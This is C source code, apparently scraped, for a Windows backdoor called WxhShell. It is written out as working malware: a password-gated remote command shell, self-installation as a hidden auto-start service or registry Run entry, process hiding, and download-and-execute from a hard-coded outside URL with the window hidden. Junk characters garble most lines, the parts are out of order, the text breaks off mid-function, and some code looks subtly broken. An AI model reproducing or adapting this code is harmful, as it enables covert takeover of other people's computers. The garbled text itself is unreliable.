  // 关机 /$-Tg)o5i  
  case 'd': { v{2euOFE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Kf>]M|G c  
    if(Boot(SHUTDOWN)) 8`]1Nt!*B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~E^lKe  
    else { Gm1[PAj  
    closesocket(wsh); y/9aI/O'  
    ExitThread(0); {3H)c^Q  
    } rY:A LA  
    break; Et0[HotO  
    } 4z*An}ol]  
  // 获取shell \ )'`F; P  
  case 's': { KEfx2{k b  
    CmdShell(wsh); rEfo)jod  
    closesocket(wsh); *f ;">(`o*  
    ExitThread(0); L `6 R  
    break; #)7THx/=  
  } "I}]]?y  
  // 退出 +=o?&  
  case 'x': { -1z<,IN+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )}|b6{{<  
    CloseIt(wsh); vw5f|Q92  
    break; l =`?Im  
    } tgpg  
  // 离开 %HWebZ-yY  
  case 'q': { @w[2 BaDt  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3@*orm>em  
    closesocket(wsh); +$SJ@IH[<  
    WSACleanup(); *p  !F+"  
    exit(1); 4n5r<?rY  
    break; G[4$@{  
        } #[LnDU8>9  
  } -:]-g:;/  
  } =ICakh!TO  
;D>*Pzj  
  // 提示信息 !kG2$/lR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $kD ;*v=  
} ?ypX``3#s7  
  } 93]67PL#+  
]hHL[hoFC  
  return; L5{DWm~@  
} 1[U`,(C1  
.W*"C  
// shell模块句柄 WETnrA"N  
int CmdShell(SOCKET sock) %xuJQuCqf  
{ 7}%Z>  
STARTUPINFO si; UD6:X&Un  
ZeroMemory(&si,sizeof(si)); I/vQP+w O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  ze_q+Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8G<{L0J%!  
PROCESS_INFORMATION ProcessInfo; r&0IhE  
char cmdline[]="cmd"; YQ _]Jv k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fFiFS\''V  
  return 0; ='z4bU  
} Yb? L:,a(I  
zho$g9*  
// 自身启动模式 ,)beK*Iw  
int StartFromService(void) 8?z7!k]  
{ Eb.k:8?Tn  
typedef struct @;1Ym\zc  
{ gAxf5 A_x)  
  DWORD ExitStatus; w;=g$Bn  
  DWORD PebBaseAddress; *%p`Jk-U  
  DWORD AffinityMask; H7Y :l0b  
  DWORD BasePriority; 0~( f<:  
  ULONG UniqueProcessId; Z6\H4,k&  
  ULONG InheritedFromUniqueProcessId; >"?jW@|g  
}   PROCESS_BASIC_INFORMATION; X1Vj"4'wT  
tOT(!yz  
PROCNTQSIP NtQueryInformationProcess; p?idl`?^3  
ih\=mB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ra]lC7<H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 15dbM/Gj  
79MF;>=tV  
  HANDLE             hProcess; Gw@]w;ed  
  PROCESS_BASIC_INFORMATION pbi; - :~"c@D  
MIx,#]C&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]mZN18#  
  if(NULL == hInst ) return 0; \&#IK9x{  
:rzq[J^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5'%nLW7;O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4mM?RGWv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s1kG:h2|$  
C;jV)hr6P  
  if (!NtQueryInformationProcess) return 0; S( Vssi|y  
^X\SwgD2w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Uz$.sa  
  if(!hProcess) return 0; =b_/_b$q  
Zv|TvlyT"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Uw5AHq).  
=6H  
  CloseHandle(hProcess); EgB$y"fs  
<l!{j?Kx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); XN %tcaY  
if(hProcess==NULL) return 0; bg/a5$t  
|SSe n#PYp  
HMODULE hMod; !E.CpfaC  
char procName[255]; t;/s^-}  
unsigned long cbNeeded; b-Xc6f  
J *nWCL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1ww#]p`1  
mi'3ibCG  
  CloseHandle(hProcess); ~/m=Q<cV  
u?%FD~l:uU  
if(strstr(procName,"services")) return 1; // 以服务启动 /+JHnedK  
a,`f`;\7N%  
  return 0; // 注册表启动 W:S?_JM  
} zkb[u"  
mO8E-D*3  
// 主模块 ;&OVV+y  
int StartWxhshell(LPSTR lpCmdLine) ttfCiP$  
{ Pk/3oF  
  SOCKET wsl; ]}z"H@k  
BOOL val=TRUE; )Rc  
  int port=0; ~pWV[oUD  
  struct sockaddr_in door; :N#8|;J1Fl  
["N_t:9I  
  if(wscfg.ws_autoins) Install(); kR/Etm5_  
3;Y 9<  
port=atoi(lpCmdLine); @|6#]&v`  
$az9Fmta  
if(port<=0) port=wscfg.ws_port; +"GBuNh  
bx._,G  
  WSADATA data; '4e, e|r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Boj#r ,x  
cP2n,>:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Cc}3@Nf{/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #w1E3ahaX  
  door.sin_family = AF_INET; z{wZLqG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FXG,D J:  
  door.sin_port = htons(port); 4`zK`bRcK#  
{'NXJ!I;t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { opfg %*  
closesocket(wsl); *|({(aZ  
return 1; G}LOQ7  
} vf0 fa46  
1<D^+FC4b,  
  if(listen(wsl,2) == INVALID_SOCKET) { 7!PU}[:  
closesocket(wsl); <TEDqQ  
return 1; 9][A1 +"  
} d A>6  
  Wxhshell(wsl); ',m!L@7M5  
  WSACleanup(); bR*} s/  
RXw }Tb/D8  
return 0; &|I{ju_  
-58Sb"f  
} 7Sl"q=>  
K_GqM9  
// 以NT服务方式启动 FM,o&0HSd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '4)4*3z,  
{ ,Q,3^v-  
DWORD   status = 0; e !N%   
  DWORD   specificError = 0xfffffff; Y,M 2 D  
b NR@d'U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2Kz407|'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .1F41UyL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WCyjp  
  serviceStatus.dwWin32ExitCode     = 0; KMP[Ledr  
  serviceStatus.dwServiceSpecificExitCode = 0; #3}!Q0   
  serviceStatus.dwCheckPoint       = 0; yi:1cLq2  
  serviceStatus.dwWaitHint       = 0; 1k!$#1d<  
=;{8)m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D!rD-e  
  if (hServiceStatusHandle==0) return; "Tnmn@  
3U4h>T@s|  
status = GetLastError(); PwC^ ]e  
  if (status!=NO_ERROR) Jix;!("  
{ ODCv^4}9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lS |:4U.  
    serviceStatus.dwCheckPoint       = 0; Z+agS8e(  
    serviceStatus.dwWaitHint       = 0; icN#8\E  
    serviceStatus.dwWin32ExitCode     = status; R47tg&k6[  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1xjw=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); nJR(lXWO  
    return; GsiT!OP]y  
  } U.c~l,5%"  
6ANA oWg*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A \-r%&.  
  serviceStatus.dwCheckPoint       = 0; 9)J)r \  
  serviceStatus.dwWaitHint       = 0; Gdv{SCV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QRHM#v S  
} !laOiH  
HY,VJxR[  
// 处理NT服务事件,比如:启动、停止 sWFw[ Y>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @<z#a9  
{ =~q Xzq  
switch(fdwControl) PBb'`PV  
{ CGs5`a  
case SERVICE_CONTROL_STOP: )F m'i&F_  
  serviceStatus.dwWin32ExitCode = 0; 5@EX,$h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;aImz*1%t  
  serviceStatus.dwCheckPoint   = 0; ] 69z-;  
  serviceStatus.dwWaitHint     = 0; %B(E;t63W  
  { N >k,"=N /  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MrhJk  
  } ESi-'R&  
  return; xbs X-F  
case SERVICE_CONTROL_PAUSE: -~_;9[uV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $: qrh66  
  break; O4T_p=Xc  
case SERVICE_CONTROL_CONTINUE: N:UA+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^3ysY24Q  
  break; Kgb<uXk  
case SERVICE_CONTROL_INTERROGATE: C8$/z>tQ  
  break; Q+Ya\1$6A  
}; lFD/hz7lc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ae'N1V  
} k@Bn}r  
pXf5/u8&  
// 标准应用程序主函数 m`#UV-$J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "tz`@3,5dN  
{ w%eEj.MI|i  
iJzW3%E  
// 获取操作系统版本 c:,K{ZR  
OsIsNt=GetOsVer(); !CLL{\F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M4K>/-9X+V  
NLZUAtx(  
  // 从命令行安装 M 9/J!s  
  if(strpbrk(lpCmdLine,"iI")) Install(); YiC_,8A~  
a3^({;k!0  
  // 下载执行文件 .1h1J  
if(wscfg.ws_downexe) { M3YC@(N% k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8g6G},Y0  
  WinExec(wscfg.ws_filenam,SW_HIDE); `.YMbj#T  
} -XWlmw*i(g  
'/@i} digf  
if(!OsIsNt) { ` W{y  
// 如果时win9x,隐藏进程并且设置为注册表启动 M~-jPY,+  
HideProc(); M (.Up  
StartWxhshell(lpCmdLine); C[nacAi  
} T9]:, z  
else jo ~p#l.'  
  if(StartFromService()) A~#w gLGn  
  // 以服务方式启动 B^BbA-I  
  StartServiceCtrlDispatcher(DispatchTable); $ -M'  
else 5<Y-?23  
  // 普通方式启动 E7j9A`  
  StartWxhshell(lpCmdLine); !\|L(Paf  
5Cl;h^R|m  
return 0; ]`\~(*;[W9  
} WxS$yUu  
rB.LG'GG]  
ThYHVJ[;  
*+>QKR7  
=========================================== dPyZzMes=  
Awlw6?   
e18}`<tW-  
X XC(R  
U[c^xz&  
jmva0K},SE  
" 99?: 9g  
P~u~`eH*  
#include <stdio.h> CO"Nv  
#include <string.h> |H4f&& Wd  
#include <windows.h> [+>cW0a  
#include <winsock2.h> uOQl;}Lk5  
#include <winsvc.h> A9ru]|?  
#include <urlmon.h> %<;PEQQ|C  
_2nNCu (  
#pragma comment (lib, "Ws2_32.lib") mY!&*nYn|  
#pragma comment (lib, "urlmon.lib") 1n EW'F  
~\[\S!"  
#define MAX_USER   100 // 最大客户端连接数 Dt]*M_  
#define BUF_SOCK   200 // sock buffer 2[Vs@X  
#define KEY_BUFF   255 // 输入 buffer ^26}8vt  
btv.M  
#define REBOOT     0   // 重启 v>p}f"$`  
#define SHUTDOWN   1   // 关机 17@#"uT0  
5/4q}U3  
#define DEF_PORT   5000 // 监听端口 ec"+Il  
p|VgtQ/ )%  
#define REG_LEN     16   // 注册表键长度 4'U #<8  
#define SVC_LEN     80   // NT服务名长度 Wf5ohXm>  
m7NrS?7  
// 从dll定义API p^?]xD(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jt4c*0z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <h mRr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _U`1BmTC2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D7OPFN 7`  
>e9xM Gv  
// wxhshell配置信息 Evb %<`gd  
struct WSCFG { :WnF>zN  
  int ws_port;         // 监听端口 ?;?$\ b=  
  char ws_passstr[REG_LEN]; // 口令 aW7)}"j4  
  int ws_autoins;       // 安装标记, 1=yes 0=no GJbU1k]  
  char ws_regname[REG_LEN]; // 注册表键名 ad'C&^o5  
  char ws_svcname[REG_LEN]; // 服务名 wU)vJsOq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G5'HrV  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $C~OV@I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~91) DNaE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o+ 0"@B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R,KoymXP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PxiJ R[a  
<R @w0b>  
}; J:JkX>n%k=  
{G(N vf,K]  
// default Wxhshell configuration =r1 @?x  
struct WSCFG wscfg={DEF_PORT, y%=t((.Z  
    "xuhuanlingzhe", O'~;|-Z<  
    1, ecG,[1];  
    "Wxhshell", .Pi8c[  
    "Wxhshell", Y> f 6  
            "WxhShell Service", sQ>L3F;A`  
    "Wrsky Windows CmdShell Service", %W:]OPURK  
    "Please Input Your Password: ", 8^ezqd`  
  1, \oc*  
  "http://www.wrsky.com/wxhshell.exe", l8Ks{(wh  
  "Wxhshell.exe" QeZK&^W  
    }; v35=4>Y  
Ht!]%  
// 消息定义模块 S1oP_A[|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yp.\KLq8)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; UA]U_P$c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Jx_BjkF  
char *msg_ws_ext="\n\rExit."; `UDB9Ca  
char *msg_ws_end="\n\rQuit."; |Wzdu2T  
char *msg_ws_boot="\n\rReboot..."; /R% Xkb  
char *msg_ws_poff="\n\rShutdown..."; qKL mL2O  
char *msg_ws_down="\n\rSave to "; qL?`l;+  
'#p2v'A  
char *msg_ws_err="\n\rErr!"; ;u "BCW  
char *msg_ws_ok="\n\rOK!"; T0=%RID%=  
\>@QJ  
char ExeFile[MAX_PATH]; c1L0#L/F6"  
int nUser = 0; jX8,y  
HANDLE handles[MAX_USER]; p a)2TL/@  
int OsIsNt; _6k ej#o8  
7C"&f *lEi  
SERVICE_STATUS       serviceStatus; J5 2- qR/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n~|sMpd,M1  
01/yog  
// 函数声明 FyV)Nmc%t  
int Install(void); L?slIGp%-  
int Uninstall(void); 1 /dy@'  
int DownloadFile(char *sURL, SOCKET wsh); xvx+a0 A  
int Boot(int flag); @+P7BE}  
void HideProc(void); F.[E;gOTo  
int GetOsVer(void); c.;}e:)s  
int Wxhshell(SOCKET wsl); wz{]CQ7"  
void TalkWithClient(void *cs); wW?/`>@  
int CmdShell(SOCKET sock); IGC:zZ~z  
int StartFromService(void); O${B)C,  
int StartWxhshell(LPSTR lpCmdLine); N,M[Opm  
LWp#i8,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0v/}W(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z1R_a=7  
PH]/*LEj  
// 数据结构和表定义 ?ot7_vl  
SERVICE_TABLE_ENTRY DispatchTable[] = e0; KmQjG  
{ h~R= ?%H[  
{wscfg.ws_svcname, NTServiceMain}, ;#jE??E/:  
{NULL, NULL} +P5\N,,7R  
}; P UJkC  
48 n5Y~YS  
// 自我安装 :G\X  
int Install(void) K.T.?ug;:  
{ GjD^\d/  
  char svExeFile[MAX_PATH]; i SD?y#  
  HKEY key; )J<VDO:_YA  
  strcpy(svExeFile,ExeFile); V+'C71-P  
DN%b!K:  
// 如果是win9x系统,修改注册表设为自启动 pni*#W*n  
if(!OsIsNt) { B !}/4"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2Sg^SZFH+o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4ZAnq{nR4  
  RegCloseKey(key); MJDW-KL-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9nrmz>es|-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N!#0O.6  
  RegCloseKey(key); S_ELV#X  
  return 0; Q6lC:cB<  
    } H0P:t(<Gt  
  } gXP)YN  
} aR0'$*3E  
else { M8p6f)l3  
Y;dQLZ CC  
// 如果是NT以上系统,安装为系统服务 eF%>5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cFF'ygJ/  
if (schSCManager!=0) BV@xE  
{ ={]tklND  
  SC_HANDLE schService = CreateService :*6#(MX  
  ( ,u&K(Z%  
  schSCManager, KdTDBC  
  wscfg.ws_svcname, Y$\c_#/]  
  wscfg.ws_svcdisp, 9-( \\$%  
  SERVICE_ALL_ACCESS, ]XS[\qo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $(=0J*ND"  
  SERVICE_AUTO_START, WPpS?  
  SERVICE_ERROR_NORMAL, X<*-d6?gD`  
  svExeFile, L55VS:'  
  NULL, j : $Ruy  
  NULL, 8uD%  
  NULL, 76BA1x+G  
  NULL, ZtofDp5B  
  NULL /ho7O/aAa  
  ); YM<F7tp4  
  if (schService!=0) !bGMVw6_  
  { 4Y `=`{Q  
  CloseServiceHandle(schService); >5c38D7k)  
  CloseServiceHandle(schSCManager); *Q XUy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y-fDYMm  
  strcat(svExeFile,wscfg.ws_svcname); 7~ =r9-&G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |J:kL3g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @||GMA+|  
  RegCloseKey(key); UJ^MS4;I3  
  return 0; 8^2E77s4U  
    } dZIruZ)x  
  } X*QQVj  
  CloseServiceHandle(schSCManager); 2Cgq&\wS  
} YU6D;  
} CjT]!D)s  
3^-yw`  
return 1; RJa1p YK  
} qw35LyL  
tuIQiWHbM  
// 自我卸载 <#>{7" }  
int Uninstall(void) Fsi;[be$A  
{ B +<i=w  
  HKEY key; gWLhO|y  
Dxp.b$0t  
if(!OsIsNt) { *h)|K s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DNmP>~  
  RegDeleteValue(key,wscfg.ws_regname); sB+ B,DF  
  RegCloseKey(key); <4,LTB]9-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ay`A Gr  
  RegDeleteValue(key,wscfg.ws_regname); 7rSads  
  RegCloseKey(key); a"bael  
  return 0; JthW"{E  
  } JK9 J;c#T  
} M%"{OHj!o  
} ^\3r}kJ0Lp  
else { 7AuzGA0y  
1%Su~Z"W>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |Q*OA  
if (schSCManager!=0) HBiUp$(mB  
{ nz_1Fu>g|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >(BAIjF E\  
  if (schService!=0) :/~TV   
  { CEEAyip-c  
  if(DeleteService(schService)!=0) { k@Mt8Ln  
  CloseServiceHandle(schService); y@2$sK3K  
  CloseServiceHandle(schSCManager); 3\E G  
  return 0; fZNe[|  
  } :=e"D;5  
  CloseServiceHandle(schService); } 3JOC!;;  
  } 1T/ 72+R0  
  CloseServiceHandle(schSCManager); cu )w6!f  
} Dg'BlrwbR  
} e763 yd  
#CTeZ/g  
return 1; 9?.  
} =niT]xf  
mT&?DZ9<  
// 从指定url下载文件 5"mH6%d :8  
int DownloadFile(char *sURL, SOCKET wsh) =kDh:&u%  
{ +Vw]DLWR  
  HRESULT hr; Y |'}VU  
char seps[]= "/"; M=#'+CF}W  
char *token; Pt\GVWi_t  
char *file; R}T\<6Y  
char myURL[MAX_PATH]; T))F r:  
char myFILE[MAX_PATH]; j:P(,M[  
GFfZ TA  
strcpy(myURL,sURL); ..;ep2jSs  
  token=strtok(myURL,seps); vNSeNS@jxC  
  while(token!=NULL) Ee097A?1vj  
  { gH:+$FA  
    file=token; $q 9dkt  
  token=strtok(NULL,seps); $b`~KMO  
  } 4H_QQ6  
e=sV>z>  
GetCurrentDirectory(MAX_PATH,myFILE); Yc2dq e>  
strcat(myFILE, "\\"); 0}qnq"  
strcat(myFILE, file); a2SXg A  
  send(wsh,myFILE,strlen(myFILE),0); :]uz0s`>  
send(wsh,"...",3,0); :)DvZxHE@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h)pYV>!d  
  if(hr==S_OK) q:<vl^<j  
return 0; E@CK.-N|  
else rq![a};~  
return 1; mIah[~G  
|{9&!=/qf  
} }II)<g'  
SmCtwcB1  
// 系统电源模块 gtRVXgI  
int Boot(int flag) h%8C_m A  
{ $VnPs!a  
  HANDLE hToken; qc"PTv0q  
  TOKEN_PRIVILEGES tkp; >?|c>HGX  
bu,xIT^  
  if(OsIsNt) { *yqke<o9)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NN] 8T  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e {805^X}  
    tkp.PrivilegeCount = 1; 80"oT'ZFh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P 9?I]a)G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DSL3+%KF#  
if(flag==REBOOT) { q$7/X;A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )(-aw,i K  
  return 0; 1a_;(T  
} S0H|:J  
else { 4GG0jCNk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }.N~jx0R  
  return 0; c_Jcy   
} 1{.5X8y1x  
  } i#:M2&twE  
  else { o(eh.  
if(flag==REBOOT) { C"R}_C|r)*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r;@"s g  
  return 0; uxbLoE  
} y1#*c$ O  
else { ~ugH2jiB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y lhKP;  
  return 0; bA\(oD+:  
} xwa@h}\#  
} W<T Ui51Y  
>/G[Oo  
return 1; z yrjb 8  
} P#-p* 4  
_@! yj  
// win9x进程隐藏模块 />2zKF?  
void HideProc(void) Yd]  
{ [E)&dl_k  
&/8B (0<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (je`sV  
  if ( hKernel != NULL ) <[' ucp  
  { N14Q4v-*x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'tJxADK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BMItHn].  
    FreeLibrary(hKernel); <z8z\4Hz  
  } cv-;fd>'  
T$1(6<:+.  
return; -FQc_k?VF  
} fE1VTGfd:  
(o4':/es  
// 获取操作系统版本 t@!A1Vr@  
int GetOsVer(void) &"d :+!4h  
{ G6pR?K+  
  OSVERSIONINFO winfo; dpcU`$kt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ";TqYk=-  
  GetVersionEx(&winfo); 8^!ib/@v"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1pP q)}=+  
  return 1; \?[m%$A  
  else i4lB ]k  
  return 0; &n]]OPo  
} g=jB'h?  
'#lc?Y(pJ2  
// 客户端句柄模块 pER[^LH_)  
int Wxhshell(SOCKET wsl) MUUhg  
{ ?N]G;%3/  
  SOCKET wsh; R~BFZF>:  
  struct sockaddr_in client; ]l^" A~va  
  DWORD myID; >=/DCQ$  
 `l  
  while(nUser<MAX_USER) p~OX1RBI  
{ f('##pND@  
  int nSize=sizeof(client); pV*d"~T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3`Dyrj#!  
  if(wsh==INVALID_SOCKET) return 1; c=aVYQ"2  
Zr.6J*&!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =fr_` "?k  
if(handles[nUser]==0) c={bunnz#  
  closesocket(wsh); x:O;Z~ |.  
else 'P^6H$0  
  nUser++; %>G(2)Fb\\  
  } >1n[Y- r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P@z,[,sy"$  
R2[-Q"|Ra  
  return 0; z_LN*u  
} H_CX5=Nq^  
y.:Z:w6$  
// 关闭 socket EecV%E  
void CloseIt(SOCKET wsh) 4/tp-dBip  
{ PV_q=70%T  
closesocket(wsh); w_hGWpm  
nUser--; hh<Es|v  
ExitThread(0); oJEUNgY&  
} a!US:^}lu  
h^}r$k_n  
// 客户端请求句柄 dwc$#cMf  
void TalkWithClient(void *cs) igD,|YSK`z  
{ n rpxZA  
f2"1^M  
  SOCKET wsh=(SOCKET)cs; c)tG1|Og]  
  char pwd[SVC_LEN]; -}Iw!p#O3  
  char cmd[KEY_BUFF]; , 9C~%c0Pw  
char chr[1]; k7gm)}RKcu  
int i,j; b&V}&9'[M;  
NdW2OUxw"  
  while (nUser < MAX_USER) { RN%*3{-  
Iw<: k  
if(wscfg.ws_passstr) { > v~?Vd(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yLI)bn!"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MZ{gU>K+  
  //ZeroMemory(pwd,KEY_BUFF); dSkW[r9Z%l  
      i=0; n!B*n(;!u  
  while(i<SVC_LEN) { w<ol$2&B  
sr&hQ  
  // 设置超时 `bJ+r)+5  
  fd_set FdRead; f2JeXsOI  
  struct timeval TimeOut; 8"zFTP*;u  
  FD_ZERO(&FdRead); d,_Ky#K5b  
  FD_SET(wsh,&FdRead); /*+P}__k  
  TimeOut.tv_sec=8; _U"9#<  
  TimeOut.tv_usec=0; : ;nvqbd  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  J(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M%evk4_27  
]R$ u3F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XPhC*r  
  pwd=chr[0]; V4PV@{G  
  if(chr[0]==0xd || chr[0]==0xa) { h}k/okG  
  pwd=0; Me HlxI  
  break; e7(iMe  
  } $X9`~Sv _  
  i++; tR,&|?0  
    } (W~')A"hC'  
d%y)/5  
  // 如果是非法用户,关闭 socket }'y=JV>l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V5MLzW\8  
} Eu4-=2!4  
I,*zZNv Ri  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xb2xl.2x!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KkIxtFM  
g/o@,_  
while(1) { [ p+]H?(A  
X#bK.WN$  
  ZeroMemory(cmd,KEY_BUFF); zPonG d1  
3N(5V;ti  
      // 自动支持客户端 telnet标准   00?_10x)  
  j=0; {<~oa+"  
  while(j<KEY_BUFF) { 1%v!8$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VO (KQx  
  cmd[j]=chr[0]; A)2eo<ij4  
  if(chr[0]==0xa || chr[0]==0xd) { Dsl,(qm5  
  cmd[j]=0; EpX.{B@B_[  
  break; [9wuaw"~[Z  
  } LFzL{rny!U  
  j++; %j.B/U$  
    } !CBvFl/v  
hu ]l{TXi  
  // 下载文件 |XDbf3^6  
  if(strstr(cmd,"http://")) { <|!?V"`3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =bx;TV  
  if(DownloadFile(cmd,wsh)) k10g %K4g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f,jN"  
  else 6n|R<DO%\  
